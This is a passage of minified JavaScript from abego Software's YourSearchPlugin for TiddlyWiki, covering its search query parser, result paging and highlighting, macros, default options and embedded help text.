_1d=m[2]?m[2].trim():"";r.push({name:"text",value:_1d});r[0].text=[_1d];return {title:m[1].trim(),params:r};}else{return {title:s.trim(),params:[[]]};}};abego.parseTiddlerFilterTerm=function(_1e,_1f,_20){var re=/\s*(?:(?:\{([^\}]*)\})|(?:(=)|([#%!])|(?:(\w+)\s*\:(?!\/\/))|(?:(?:("(?:(?:\\")|[^"])+")|(?:\/((?:(?:\\\/)|[^\/])+)\/)|(\w+\:\/\/[^\s]+)|([^\s\)\-\"]+)))))/mg;var _21={"!":"title","%":"text","#":"tags"};var _22={};var _23;re.lastIndex=_1f;while(1){var i=re.lastIndex;var m=re.exec(_1e);if(!m||m.index!=i){throw "Word or String literal expected";}if(m[1]){var _24={};var _25=abego.getBracedText(_1e,0,_24);if(!_25){throw "Invalid {...} syntax";}var f=Function("tiddler","return ("+_25+");");return {func:f,lastIndex:_24.lastIndex,markRE:null};}if(m[2]){_23=true;}else{if(m[3]){_22[_21[m[3]]]=1;}else{if(m[4]){_22[m[4]]=1;}else{var _26=m[6];var _27=m[5]?window.eval(m[5]):m[6]?m[6]:m[7]?m[7]:m[8];var _20=abego.copyOptions(_20);_20.fullWordMatch=_23;_20.textIsRegExp=_26;var _28=[];for(var n in _22){_28.push(n);}if(_28.length==0){_20.fields=_20.defaultFields;}else{_20.fields=_28;_20.withExtendedFields=false;}var _29=new abego.TiddlerFilterTerm(_27,_20);var _2a=_26?_27:_27.escapeRegExp();if(_2a&&_23){_2a="\\b"+_2a+"\\b";}return {func:function(_2b){return _29.test(_2b);},lastIndex:re.lastIndex,markRE:_2a?"(?:"+_2a+")":null};}}}}};abego.BoolExp=function(s,_2c,_2d){this.s=s;var _2e=_2d&&_2d.defaultOperationIs_OR;var _2f=/\s*(?:(\-|not)|(\())/gi;var _30=/\s*\)/g;var _31=/\s*(?:(and|\&\&)|(or|\|\|))/gi;var _32=/\s*[^\)\s]/g;var _33=/\s*(\-|not)?(\s*\()?/gi;var _34;var _35=function(_36){_33.lastIndex=_36;var m=_33.exec(s);var _37;var _38;if(m&&m.index==_36){_36+=m[0].length;_37=m[1];if(m[2]){var e=_34(_36);_30.lastIndex=e.lastIndex;if(!_30.exec(s)){throw "Missing ')'";}_38={func:e.func,lastIndex:_30.lastIndex,markRE:e.markRE};}}if(!_38){_38=_2c(s,_36,_2d);}if(_37){_38.func=(function(f){return function(_39){return !f(_39);};})(_38.func);_38.markRE=null;}return _38;};_34=function(_3a){var _3b=_35(_3a);while(1){var l=_3b.lastIndex;_31.lastIndex=l;var m=_31.exec(s);var _3c;var _3d;if(m&&m.index==l){_3c=!m[1];_3d=_35(_31.lastIndex);}else{try{_3d=_35(l);}catch(e){return _3b;}_3c=_2e;}_3b.func=(function(_3e,_3f,_40){return _40?function(_41){return _3e(_41)||_3f(_41);}:function(_42){return _3e(_42)&&_3f(_42);};})(_3b.func,_3d.func,_3c);_3b.lastIndex=_3d.lastIndex;if(!_3b.markRE){_3b.markRE=_3d.markRE;}else{if(_3d.markRE){_3b.markRE=_3b.markRE+"|"+_3d.markRE;}}}};var _43=_34(0);this.evalFunc=_43.func;if(_43.markRE){this.markRegExp=new RegExp(_43.markRE,_2d.caseSensitive?"mg":"img");}};abego.BoolExp.prototype.exec=function(){return this.evalFunc.apply(this,arguments);};abego.BoolExp.prototype.getMarkRegExp=function(){return this.markRegExp;};abego.BoolExp.prototype.toString=function(){return this.s;};abego.MultiFieldRegExpTester=function(re,_44,_45){this.re=re;this.fields=_44?_44:["title","text","tags"];this.withExtendedFields=_45;};abego.MultiFieldRegExpTester.prototype.test=function(_46){var re=this.re;for(var i=0;i<this.fields.length;i++){var s=store.getValue(_46,this.fields[i]);if(typeof s=="string"&&re.test(s)){return this.fields[i];}}if(this.withExtendedFields){return store.forEachField(_46,function(_47,_48,_49){return typeof _49=="string"&&re.test(_49)?_48:null;},true);}return null;};abego.TiddlerQuery=function(_4a,_4b,_4c,_4d,_4e){if(_4c){this.regExp=new RegExp(_4a,_4b?"mg":"img");this.tester=new abego.MultiFieldRegExpTester(this.regExp,_4d,_4e);}else{this.expr=new abego.BoolExp(_4a,abego.parseTiddlerFilterTerm,{defaultFields:_4d,caseSensitive:_4b,withExtendedFields:_4e});}this.getQueryText=function(){return _4a;};this.getUseRegExp=function(){return _4c;};this.getCaseSensitive=function(){return _4b;};this.getDefaultFields=function(){return _4d;};this.getWithExtendedFields=function(){return _4e;};};abego.TiddlerQuery.prototype.test=function(_4f){if(!_4f){return false;}if(this.regExp){return this.tester.test(_4f);}return this.expr.exec(_4f);};abego.TiddlerQuery.prototype.filter=function(_50){return abego.select(_50,this.test,this);};abego.TiddlerQuery.prototype.getMarkRegExp=function(){if(this.regExp){return "".search(this.regExp)>=0?null:this.regExp;}return this.expr.getMarkRegExp();};abego.TiddlerQuery.prototype.toString=function(){return (this.regExp?this.regExp:this.expr).toString();};abego.PageWiseRenderer=function(){this.firstIndexOnPage=0;};merge(abego.PageWiseRenderer.prototype,{setItems:function(_51){this.items=_51;this.setFirstIndexOnPage(0);},getMaxPagesInNavigation:function(){return 10;},getItemsCount:function(_52){return this.items?this.items.length:0;},getCurrentPageIndex:function(){return Math.floor(this.firstIndexOnPage/this.getItemsPerPage());},getLastPageIndex:function(){return Math.floor((this.getItemsCount()-1)/this.getItemsPerPage());},setFirstIndexOnPage:function(_53){this.firstIndexOnPage=Math.min(Math.max(0,_53),this.getItemsCount()-1);},getFirstIndexOnPage:function(){this.firstIndexOnPage=Math.floor(this.firstIndexOnPage/this.getItemsPerPage())*this.getItemsPerPage();return this.firstIndexOnPage;},getLastIndexOnPage:function(){return Math.min(this.getFirstIndexOnPage()+this.getItemsPerPage()-1,this.getItemsCount()-1);},onPageChanged:function(_54,_55){},renderPage:function(_56){if(_56.beginRendering){_56.beginRendering(this);}try{if(this.getItemsCount()){var _57=this.getLastIndexOnPage();var _58=-1;for(var i=this.getFirstIndexOnPage();i<=_57;i++){_58++;_56.render(this,this.items[i],i,_58);}}}finally{if(_56.endRendering){_56.endRendering(this);}}},addPageNavigation:function(_59){if(!this.getItemsCount()){return;}var _5a=this;var _5b=function(e){if(!e){var e=window.event;}abego.consumeEvent(e);var _5c=abego.toInt(this.getAttribute("page"),0);var _5d=_5a.getCurrentPageIndex();if(_5c==_5d){return;}var _5e=_5c*_5a.getItemsPerPage();_5a.setFirstIndexOnPage(_5e);_5a.onPageChanged(_5c,_5d);};var _5f;var _60=this.getCurrentPageIndex();var _61=this.getLastPageIndex();if(_60>0){_5f=createTiddlyButton(_59,"Previous","Go to previous page (Shortcut: Alt-'<')",_5b,"prev");_5f.setAttribute("page",(_60-1).toString());_5f.setAttribute("accessKey","<");}for(var i=-this.getMaxPagesInNavigation();i<this.getMaxPagesInNavigation();i++){var _62=_60+i;if(_62<0){continue;}if(_62>_61){break;}var _63=(i+_60+1).toString();var _64=_62==_60?"currentPage":"otherPage";_5f=createTiddlyButton(_59,_63,"Go to page %0".format([_63]),_5b,_64);_5f.setAttribute("page",(_62).toString());}if(_60<_61){_5f=createTiddlyButton(_59,"Next","Go to next page (Shortcut: Alt-'>')",_5b,"next");_5f.setAttribute("page",(_60+1).toString());_5f.setAttribute("accessKey",">");}}});abego.LimitedTextRenderer=function(){var _65=40;var _66=4;var _67=function(_68,_69,_6a){var n=_68.length;if(n==0){_68.push({start:_69,end:_6a});return;}var i=0;for(;i<n;i++){var _6b=_68[i];if(_6b.start<=_6a&&_69<=_6b.end){var r;var _6c=i+1;for(;_6c<n;_6c++){r=_68[_6c];if(r.start>_6a||_69>_6b.end){break;}}var _6d=_69;var _6e=_6a;for(var j=i;j<_6c;j++){r=_68[j];_6d=Math.min(_6d,r.start);_6e=Math.max(_6e,r.end);}_68.splice(i,_6c-i,{start:_6d,end:_6e});return;}if(_6b.start>_6a){break;}}_68.splice(i,0,{start:_69,end:_6a});};var _6f=function(_70){var _71=0;for(var i=0;i<_70.length;i++){var _72=_70[i];_71+=_72.end-_72.start;}return _71;};var _73=function(c){return (c>="a"&&c<="z")||(c>="A"&&c<="Z")||c=="_";};var _74=function(s,_75){if(!_73(s[_75])){return null;}for(var i=_75-1;i>=0&&_73(s[i]);i--){}var _76=i+1;var n=s.length;for(i=_75+1;i<n&&_73(s[i]);i++){}return {start:_76,end:i};};var _77=function(s,_78,_79){var _7a;if(_79){_7a=_74(s,_78);}else{if(_78<=0){return _78;}_7a=_74(s,_78-1);}if(!_7a){return _78;}if(_79){if(_7a.start>=_78-_66){return _7a.start;}if(_7a.end<=_78+_66){return _7a.end;}}else{if(_7a.end<=_78+_66){return _7a.end;}if(_7a.start>=_78-_66){return _7a.start;}}return _78;};var _7b=function(s,_7c){var _7d=[];if(_7c){var _7e=0;var n=s.length;var _7f=0;do{_7c.lastIndex=_7e;var _80=_7c.exec(s);if(_80){if(_7e<_80.index){var t=s.substring(_7e,_80.index);_7d.push({text:t});}_7d.push({text:_80[0],isMatch:true});_7e=_80.index+_80[0].length;}else{_7d.push({text:s.substr(_7e)});break;}}while(true);}else{_7d.push({text:s});}return _7d;};var _81=function(_82){var _83=0;for(var i=0;i<_82.length;i++){if(_82[i].isMatch){_83++;}}return _83;};var _84=function(s,_85,_86,_87,_88){var _89=Math.max(Math.floor(_88/(_87+1)),_65);var _8a=Math.max(_89-(_86-_85),0);var _8b=Math.min(Math.floor(_86+_8a/3),s.length);var _8c=Math.max(_8b-_89,0);_8c=_77(s,_8c,true);_8b=_77(s,_8b,false);return {start:_8c,end:_8b};};var _8d=function(_8e,s,_8f){var _90=[];var _91=_81(_8e);var pos=0;for(var i=0;i<_8e.length;i++){var t=_8e[i];var _92=t.text;if(t.isMatch){var _93=_84(s,pos,pos+_92.length,_91,_8f);_67(_90,_93.start,_93.end);}pos+=_92.length;}return _90;};var _94=function(s,_95,_96){var _97=_96-_6f(_95);while(_97>0){if(_95.length==0){_67(_95,0,_77(s,_96,false));return;}else{var _98=_95[0];var _99;var _9a;if(_98.start==0){_99=_98.end;if(_95.length>1){_9a=_95[1].start;}else{_67(_95,_99,_77(s,_99+_97,false));return;}}else{_99=0;_9a=_98.start;}var _9b=Math.min(_9a,_99+_97);_67(_95,_99,_9b);_97-=(_9b-_99);}}};var _9c=function(_9d,s,_9e,_9f,_a0){if(_9f.length==0){return;}var _a1=function(_a2,s,_a3,_a4,_a5){var t;var _a6;var pos=0;var i=0;var _a7=0;for(;i<_a3.length;i++){t=_a3[i];_a6=t.text;if(_a4<pos+_a6.length){_a7=_a4-pos;break;}pos+=_a6.length;}var _a8=_a5-_a4;for(;i<_a3.length&&_a8>0;i++){t=_a3[i];_a6=t.text.substr(_a7);_a7=0;if(_a6.length>_a8){_a6=_a6.substr(0,_a8);}if(t.isMatch){createTiddlyElement(_a2,"span",null,"marked",_a6);}else{createTiddlyText(_a2,_a6);}_a8-=_a6.length;}if(_a5<s.length){abego.createEllipsis(_a2);}};if(_9f[0].start>0){abego.createEllipsis(_9d);}var _a9=_a0;for(var i=0;i<_9f.length&&_a9>0;i++){var _aa=_9f[i];var len=Math.min(_aa.end-_aa.start,_a9);_a1(_9d,s,_9e,_aa.start,_aa.start+len);_a9-=len;}};this.render=function(_ab,s,_ac,_ad){if(s.length<_ac){_ac=s.length;}var _ae=_7b(s,_ad);var _af=_8d(_ae,s,_ac);_94(s,_af,_ac);_9c(_ab,s,_ae,_af,_ac);};};(function(){function _b0(msg){alert(msg);throw msg;};if(version.major<2||(version.major==2&&version.minor<1)){_b0("YourSearchPlugin requires TiddlyWiki 2.1 or newer.\n\nCheck the archive for YourSearch plugins\nsupporting older versions of TiddlyWiki.\n\nArchive: http://tiddlywiki.abego-software.de/archive");}abego.YourSearch={};var _b1;var _b2;var _b3=function(_b4){_b1=_b4;};var _b5=function(){return _b1?_b1:[];};var _b6=function(){return _b1?_b1.length:0;};var _b7=4;var _b8=10;var _b9=2;var _ba=function(s,re){var m=s.match(re);return m?m.length:0;};var _bb=function(_bc,_bd){var _be=_bd.getMarkRegExp();if(!_be){return 1;}var _bf=_bc.title.match(_be);var _c0=_bf?_bf.length:0;var _c1=_ba(_bc.getTags(),_be);var _c2=_bf?_bf.join("").length:0;var _c3=_bc.title.length>0?_c2/_bc.title.length:0;var _c4=_c0*_b7+_c1*_b9+_c3*_b8+1;return _c4;};var _c5=function(_c6,_c7,_c8,_c9,_ca,_cb){_b2=null;var _cc=_c6.reverseLookup("tags",_cb,false);try{var _cd=[];if(config.options.chkSearchInTitle){_cd.push("title");}if(config.options.chkSearchInText){_cd.push("text");}if(config.options.chkSearchInTags){_cd.push("tags");}_b2=new abego.TiddlerQuery(_c7,_c8,_c9,_cd,config.options.chkSearchExtendedFields);}catch(e){return [];}var _ce=_b2.filter(_cc);var _cf=abego.YourSearch.getRankFunction();for(var i=0;i<_ce.length;i++){var _d0=_ce[i];var _d1=_cf(_d0,_b2);_d0.searchRank=_d1;}if(!_ca){_ca="title";}var _d2=function(a,b){var _d3=a.searchRank-b.searchRank;if(_d3==0){if(a[_ca]==b[_ca]){return (0);}else{return (a[_ca]<b[_ca])?-1:+1;}}else{return (_d3>0)?-1:+1;}};_ce.sort(_d2);return _ce;};var _d4=80;var _d5=50;var _d6=250;var _d7=50;var _d8=25;var _d9=10;var _da="yourSearchResult";var _db="yourSearchResultItems";var _dc;var _dd;var _de;var _df;var _e0;var _e1=function(){if(version.extensions.YourSearchPlugin.styleSheetInited){return;}version.extensions.YourSearchPlugin.styleSheetInited=true;setStylesheet(store.getTiddlerText("YourSearchStyleSheet"),"yourSearch");};var _e2=function(){return _dd!=null&&_dd.parentNode==document.body;};var _e3=function(){if(_e2()){document.body.removeChild(_dd);}};var _e4=function(e){_e3();var _e5=this.getAttribute("tiddlyLink");if(_e5){var _e6=this.getAttribute("withHilite");var _e7=highlightHack;if(_e6&&_e6=="true"&&_b2){highlightHack=_b2.getMarkRegExp();}story.displayTiddler(this,_e5);highlightHack=_e7;}return (false);};var _e8=function(){if(!_de){return;}var _e9=_de;var _ea=findPosX(_e9);var _eb=findPosY(_e9);var _ec=_e9.offsetHeight;var _ed=_ea;var _ee=_eb+_ec;var _ef=findWindowWidth();if(_ef<_dd.offsetWidth){_dd.style.width=(_ef-100)+"px";_ef=findWindowWidth();}var _f0=_dd.offsetWidth;if(_ed+_f0>_ef){_ed=_ef-_f0-30;}if(_ed<0){_ed=0;}_dd.style.left=_ed+"px";_dd.style.top=_ee+"px";_dd.style.display="block";};var _f1=function(){if(_dd){window.scrollTo(0,ensureVisible(_dd));}if(_de){window.scrollTo(0,ensureVisible(_de));}};var _f2=function(){_e8();_f1();};var _f3;var _f4;var _f5=new abego.PageWiseRenderer();var _f6=function(_f7){this.itemHtml=store.getTiddlerText("YourSearchItemTemplate");if(!this.itemHtml){_b0("YourSearchItemTemplate not found");}this.place=document.getElementById(_db);if(!this.place){this.place=createTiddlyElement(_f7,"div",_db);}};merge(_f6.prototype,{render:function(_f8,_f9,_fa,_fb){_f3=_fb;_f4=_f9;var _fc=createTiddlyElement(this.place,"div",null,"yourSearchItem");_fc.innerHTML=this.itemHtml;applyHtmlMacros(_fc,null);refreshElements(_fc,null);},endRendering:function(_fd){_f4=null;}});var _fe=function(){if(!_dd||!_de){return;}var _ff=store.getTiddlerText("YourSearchResultTemplate");if(!_ff){_ff="<b>Tiddler YourSearchResultTemplate not found</b>";}_dd.innerHTML=_ff;applyHtmlMacros(_dd,null);refreshElements(_dd,null);var _100=new _f6(_dd);_f5.renderPage(_100);_f2();};_f5.getItemsPerPage=function(){var n=(config.options.chkPreviewText)?abego.toInt(config.options.txtItemsPerPageWithPreview,_d9):abego.toInt(config.options.txtItemsPerPage,_d8);return (n>0)?n:1;};_f5.onPageChanged=function(){_fe();};var _101=function(){if(_de==null||!config.options.chkUseYourSearch){return;}if((_de.value==_dc)&&_dc&&!_e2()){if(_dd&&(_dd.parentNode!=document.body)){document.body.appendChild(_dd);_f2();}else{abego.YourSearch.onShowResult(true);}}};var _102=function(){_e3();_dd=null;_dc=null;};var _103=function(self,e){while(e!=null){if(self==e){return true;}e=e.parentNode;}return false;};var _104=function(e){if(e.target==_de){return;}if(e.target==_df){return;}if(_dd&&_103(_dd,e.target)){return;}_e3();};var _105=function(e){if(e.keyCode==27){_e3();}};addEvent(document,"click",_104);addEvent(document,"keyup",_105);var _106=function(text,_107,_108){_dc=text;_b3(_c5(store,text,_107,_108,"title","excludeSearch"));abego.YourSearch.onShowResult();};var _109=function(_10a,_10b,_10c,_10d,_10e,_10f){_e1();_dc="";var _110=null;var _111=function(txt){if(config.options.chkUseYourSearch){_106(txt.value,config.options.chkCaseSensitiveSearch,config.options.chkRegExpSearch);}else{story.search(txt.value,config.options.chkCaseSensitiveSearch,config.options.chkRegExpSearch);}_dc=txt.value;};var _112=function(e){_111(_de);return false;};var _113=function(e){if(!e){var e=window.event;}_de=this;switch(e.keyCode){case 13:if(e.ctrlKey&&_e0&&_e2()){_e0.onclick.apply(_e0,[e]);}else{_111(this);}break;case 27:if(_e2()){_e3();}else{this.value="";clearMessage();}break;}if(String.fromCharCode(e.keyCode)==this.accessKey||e.altKey){_101();}if(this.value.length<3&&_110){clearTimeout(_110);}if(this.value.length>2){if(this.value!=_dc){if(!config.options.chkUseYourSearch||config.options.chkSearchAsYouType){if(_110){clearTimeout(_110);}var txt=this;_110=setTimeout(function(){_111(txt);},500);}}else{if(_110){clearTimeout(_110);}}}if(this.value.length==0){_e3();}};var _114=function(e){this.select();clearMessage();_101();};var args=_10e.parseParams("list",null,true);var _115=getFlag(args,"buttonAtRight");var _116=getParam(args,"sizeTextbox",this.sizeTextbox);var btn;if(!_115){btn=createTiddlyButton(_10a,this.label,this.prompt,_112);}var txt=createTiddlyElement(null,"input",null,"txtOptionInput searchField",null);if(_10c[0]){txt.value=_10c[0];}txt.onkeyup=_113;txt.onfocus=_114;txt.setAttribute("size",_116);txt.setAttribute("accessKey",this.accessKey);txt.setAttribute("autocomplete","off");if(config.browser.isSafari){txt.setAttribute("type","search");txt.setAttribute("results","5");}else{txt.setAttribute("type","text");}if(_10a){_10a.appendChild(txt);}if(_115){btn=createTiddlyButton(_10a,this.label,this.prompt,_112);}_de=txt;_df=btn;};var _117=function(){_e3();var _118=_b5();var n=_118.length;if(n){var _119=[];for(var i=0;i<n;i++){_119.push(_118[i].title);}story.displayTiddlers(null,_119);}};var _11a=function(_11b,_11c,_11d,_11e){invokeMacro(_11b,"option",_11c,_11d,_11e);var elem=_11b.lastChild;var _11f=elem.onclick;elem.onclick=function(e){var _120=_11f.apply(this,arguments);_fe();return _120;};return elem;};var _121=function(s){var _122=["''","{{{","}}}","//","<<<","/***","***/"];var _123="";for(var i=0;i<_122.length;i++){if(i!=0){_123+="|";}_123+="("+_122[i].escapeRegExp()+")";}return s.replace(new RegExp(_123,"mg"),"").trim();};var _124=function(){var i=_f3;return (i>=0&&i<=9)?(i<9?(i+1):0):-1;};var _125=new abego.LimitedTextRenderer();var _126=function(_127,s,_128){_125.render(_127,s,_128,_b2.getMarkRegExp());};var _129=TiddlyWiki.prototype.saveTiddler;TiddlyWiki.prototype.saveTiddler=function(_12a,_12b,_12c,_12d,_12e,tags,_12f){_129.apply(this,arguments);_102();};var _130=TiddlyWiki.prototype.removeTiddler;TiddlyWiki.prototype.removeTiddler=function(_131){_130.apply(this,arguments);_102();};config.macros.yourSearch={label:"yourSearch",prompt:"Gives access to the current/last YourSearch result",handler:function(_132,_133,_134,_135,_136,_137){if(_134.length==0){return;}var name=_134[0];var func=config.macros.yourSearch.funcs[name];if(func){func(_132,_133,_134,_135,_136,_137);}},tests:{"true":function(){return true;},"false":function(){return false;},"found":function(){return _b6()>0;},"previewText":function(){return config.options.chkPreviewText;}},funcs:{itemRange:function(_138){if(_b6()){var _139=_f5.getLastIndexOnPage();var s="%0 - %1".format([_f5.getFirstIndexOnPage()+1,_139+1]);createTiddlyText(_138,s);}},count:function(_13a){createTiddlyText(_13a,_b6().toString());},query:function(_13b){if(_b2){createTiddlyText(_13b,_b2.toString());}},version:function(_13c){var t="YourSearch %0.%1.%2".format([version.extensions.YourSearchPlugin.major,version.extensions.YourSearchPlugin.minor,version.extensions.YourSearchPlugin.revision]);var e=createTiddlyElement(_13c,"a");e.setAttribute("href","http://tiddlywiki.abego-software.de/#YourSearchPlugin");e.innerHTML="<font color=\"black\" face=\"Arial, Helvetica, sans-serif\">"+t+"<font>";},copyright:function(_13d){var e=createTiddlyElement(_13d,"a");e.setAttribute("href","http://www.abego-software.de");e.innerHTML="<font color=\"black\" face=\"Arial, Helvetica, sans-serif\">&copy; 2005-2008 <b><font color=\"red\">abego</font></b> Software<font>";},newTiddlerButton:function(_13e){if(_b2){var r=abego.parseNewTiddlerCommandLine(_b2.getQueryText());var btn=config.macros.newTiddler.createNewTiddlerButton(_13e,r.title,r.params,"new tiddler","Create a new tiddler based on search text. (Shortcut: Ctrl-Enter; Separators: '.', '#')",null,"text");var _13f=btn.onclick;btn.onclick=function(){_e3();_13f.apply(this,arguments);};_e0=btn;}},linkButton:function(_140,_141,_142,_143,_144,_145){if(_142<2){return;}var _146=_142[1];var text=_142<3?_146:_142[2];var _147=_142<4?text:_142[3];var _148=_142<5?null:_142[4];var btn=createTiddlyButton(_140,text,_147,_e4,null,null,_148);btn.setAttribute("tiddlyLink",_146);},closeButton:function(_149,_14a,_14b,_14c,_14d,_14e){var _14f=createTiddlyButton(_149,"close","Close the Search Results (Shortcut: ESC)",_e3);},openAllButton:function(_150,_151,_152,_153,_154,_155){var n=_b6();if(n==0){return;}var _156=n==1?"open tiddler":"open all %0 tiddlers".format([n]);var _157=createTiddlyButton(_150,_156,"Open all found tiddlers (Shortcut: Alt-O)",_117);_157.setAttribute("accessKey","O");},naviBar:function(_158,_159,_15a,_15b,_15c,_15d){_f5.addPageNavigation(_158);},"if":function(_15e,_15f,_160,_161,_162,_163){if(_160.length<2){return;}var _164=_160[1];var _165=(_164=="not");if(_165){if(_160.length<3){return;}_164=_160[2];}var test=config.macros.yourSearch.tests[_164];var _166=false;try{if(test){_166=test(_15e,_15f,_160,_161,_162,_163)!=_165;}else{_166=(!eval(_164))==_165;}}catch(ex){}if(!_166){_15e.style.display="none";}},chkPreviewText:function(_167,_168,_169,_16a,_16b,_16c){var _16d=_169.slice(1).join(" ");var elem=_11a(_167,"chkPreviewText",_16a,_16c);elem.setAttribute("accessKey","P");elem.title="Show text preview of found tiddlers (Shortcut: Alt-P)";return elem;}}};config.macros.foundTiddler={label:"foundTiddler",prompt:"Provides information on the tiddler currently processed on the YourSearch result page",handler:function(_16e,_16f,_170,_171,_172,_173){var name=_170[0];var func=config.macros.foundTiddler.funcs[name];if(func){func(_16e,_16f,_170,_171,_172,_173);}},funcs:{title:function(_174,_175,_176,_177,_178,_179){if(!_f4){return;}var _17a=_124();var _17b=_17a>=0?"Open tiddler (Shortcut: Alt-%0)".format([_17a.toString()]):"Open tiddler";var btn=createTiddlyButton(_174,null,_17b,_e4,null);btn.setAttribute("tiddlyLink",_f4.title);btn.setAttribute("withHilite","true");_126(btn,_f4.title,_d4);if(_17a>=0){btn.setAttribute("accessKey",_17a.toString());}},tags:function(_17c,_17d,_17e,_17f,_180,_181){if(!_f4){return;}_126(_17c,_f4.getTags(),_d5);},text:function(_182,_183,_184,_185,_186,_187){if(!_f4){return;}_126(_182,_121(_f4.text),_d6);},field:function(_188,_189,_18a,_18b,_18c,_18d){if(!_f4){return;}var name=_18a[1];var len=_18a.length>2?abego.toInt(_18a[2],_d7):_d7;var v=store.getValue(_f4,name);if(v){_126(_188,_121(v),len);}},number:function(_18e,_18f,_190,_191,_192,_193){var _194=_124();if(_194>=0){var text="%0)".format([_194.toString()]);createTiddlyElement(_18e,"span",null,"shortcutNumber",text);}}}};var opts={chkUseYourSearch:true,chkPreviewText:true,chkSearchAsYouType:true,chkSearchInTitle:true,chkSearchInText:true,chkSearchInTags:true,chkSearchExtendedFields:true,txtItemsPerPage:_d8,txtItemsPerPageWithPreview:_d9};for(var n in opts){if(config.options[n]==undefined){config.options[n]=opts[n];}}config.shadowTiddlers.AdvancedOptions+="\n<<option chkUseYourSearch>> Use 'Your Search' //([[more options|YourSearch Options]]) ([[help|YourSearch Help]])// ";config.shadowTiddlers["YourSearch Help"]="!Field Search\nWith the Field Search you can restrict your search to certain fields of a tiddler, e.g"+" only search the tags or only the titles. The general form is //fieldname//'':''//textToSearch// (e."+"g. {{{title:intro}}}). In addition one-character shortcuts are also supported for the standard field"+"s {{{title}}}, {{{text}}} and {{{tags}}}:\n|!What you want|!What you type|!Example|\n|Search ''titles "+"only''|start word with ''!''|{{{!jonny}}} (shortcut for {{{title:jonny}}})|\n|Search ''contents/text "+"only''|start word with ''%''|{{{%football}}} (shortcut for {{{text:football}}})|\n|Search ''tags only"+"''|start word with ''#''|{{{#Plugin}}} (shortcut for {{{tags:Plugin}}})|\n\nUsing this feature you may"+" also search the extended fields (\"Metadata\") introduced with TiddlyWiki 2.1, e.g. use {{{priority:1"+"}}} to find all tiddlers with the priority field set to \"1\".\n\nYou may search a word in more than one"+" field. E.g. {{{!#Plugin}}} (or {{{title:tags:Plugin}}} in the \"long form\") finds tiddlers containin"+"g \"Plugin\" either in the title or in the tags (but does not look for \"Plugin\" in the text). \n\n!Boole"+"an Search\nThe Boolean Search is useful when searching for multiple words.\n|!What you want|!What you "+"type|!Example|\n|''All words'' must exist|List of words|{{{jonny jeremy}}} (or {{{jonny and jeremy}}}"+")|\n|''At least one word'' must exist|Separate words by ''or''|{{{jonny or jeremy}}}|\n|A word ''must "+"not exist''|Start word with ''-''|{{{-jonny}}} (or {{{not jonny}}})|\n\n''Note:'' When you specify two"+" words, separated with a space, YourSearch finds all tiddlers that contain both words, but not neces"+"sarily next to each other. If you want to find a sequence of word, e.g. '{{{John Brown}}}', you need"+" to put the words into quotes. I.e. you type: {{{\"john brown\"}}}.\n\nUsing parenthesis you may change "+"the default \"left to right\" evaluation of the boolean search. E.g. {{{not (jonny or jeremy)}}} finds"+" all tiddlers that contain neither \"jonny\" nor \"jeremy. In contrast to this {{{not jonny or jeremy}}"+"} (i.e. without parenthesis) finds all tiddlers that either don't contain \"jonny\" or that contain \"j"+"eremy\".\n\n!'Exact Word' Search\nBy default a search result all matches that 'contain' the searched tex"+"t. E.g. if you search for {{{Task}}} you will get all tiddlers containing 'Task', but also '~Complet"+"edTask', '~TaskForce' etc.\n\nIf you only want to get the tiddlers that contain 'exactly the word' you"+" need to prefix it with a '='. E.g. typing '=Task' will find the tiddlers that contain the word 'Tas"+"k', ignoring words that just contain 'Task' as a substring.\n\n!~CaseSensitiveSearch and ~RegExpSearch"+"\nThe standard search options ~CaseSensitiveSearch and ~RegExpSearch are fully supported by YourSearc"+"h. However when ''~RegExpSearch'' is on Filtered and Boolean Search are disabled.\n\nIn addition you m"+"ay do a \"regular expression\" search even with the ''~RegExpSearch'' set to false by directly enterin"+"g the regular expression into the search field, framed with {{{/.../}}}. \n\nExample: {{{/m[ae][iy]er/"+"}}} will find all tiddlers that contain either \"maier\", \"mayer\", \"meier\" or \"meyer\".\n\n!~JavaScript E"+"xpression Filtering\nIf you are familiar with JavaScript programming and know some TiddlyWiki interna"+"ls you may also use JavaScript expression for the search. Just enter a JavaScript boolean expression"+" into the search field, framed with {{{ { ... } }}}. In the code refer to the variable tiddler and e"+"valuate to {{{true}}} when the given tiddler should be included in the result. \n\nExample: {{{ { tidd"+"ler.modified > new Date(\"Jul 4, 2005\")} }}} returns all tiddler modified after July 4th, 2005.\n\n!Com"+"bined Search\nYou are free to combine the various search options. \n\n''Examples''\n|!What you type|!Res"+"ult|\n|{{{!jonny !jeremy -%football}}}|all tiddlers with both {{{jonny}}} and {{{jeremy}}} in its tit"+"les, but no {{{football}}} in content.|\n|{{{#=Task}}}|All tiddlers tagged with 'Task' (the exact wor"+"d). Tags named '~CompletedTask', '~TaskForce' etc. are not considered.|\n\n!Access Keys\nYou are encour"+"aged to use the access keys (also called \"shortcut\" keys) for the most frequently used operations. F"+"or quick reference these shortcuts are also mentioned in the tooltip for the various buttons etc.\n\n|"+"!Key|!Operation|\n|{{{Alt-F}}}|''The most important keystroke'': It moves the cursor to the search in"+"put field so you can directly start typing your query. Pressing {{{Alt-F}}} will also display the pr"+"evious search result. This way you can quickly display multiple tiddlers using \"Press {{{Alt-F}}}. S"+"elect tiddler.\" sequences.|\n|{{{ESC}}}|Closes the [[YourSearch Result]]. When the [[YourSearch Resul"+"t]] is already closed and the cursor is in the search input field the field's content is cleared so "+"you start a new query.|\n|{{{Alt-1}}}, {{{Alt-2}}},... |Pressing these keys opens the first, second e"+"tc. tiddler from the result list.|\n|{{{Alt-O}}}|Opens all found tiddlers.|\n|{{{Alt-P}}}|Toggles the "+"'Preview Text' mode.|\n|{{{Alt-'<'}}}, {{{Alt-'>'}}}|Displays the previous or next page in the [[Your"+"Search Result]].|\n|{{{Return}}}|When you have turned off the 'as you type' search mode pressing the "+"{{{Return}}} key actually starts the search (as does pressing the 'search' button).|\n\n//If some of t"+"hese shortcuts don't work for you check your browser if you have other extensions installed that alr"+"eady \"use\" these shortcuts.//";config.shadowTiddlers["YourSearch Options"]="|>|!YourSearch Options|\n|>|<<option chkUseYourSearch>> Use 'Your Search'|\n|!|<<option chkPreviewText"+">> Show Text Preview|\n|!|<<option chkSearchAsYouType>> 'Search As You Type' Mode (No RETURN required"+" to start search)|\n|!|Default Search Filter:<<option chkSearchInTitle>>Title ('!')     <<option chk"+"SearchInText>>Text ('%')     <<option chkSearchInTags>>Tags ('#')    <<option chkSearchExtendedFiel"+"ds>>Extended Fields<html><br><font size=\"-2\">The fields of a tiddlers that are searched when you don"+"'t explicitly specify a filter in the search text <br>(Explictly specify fields using one or more 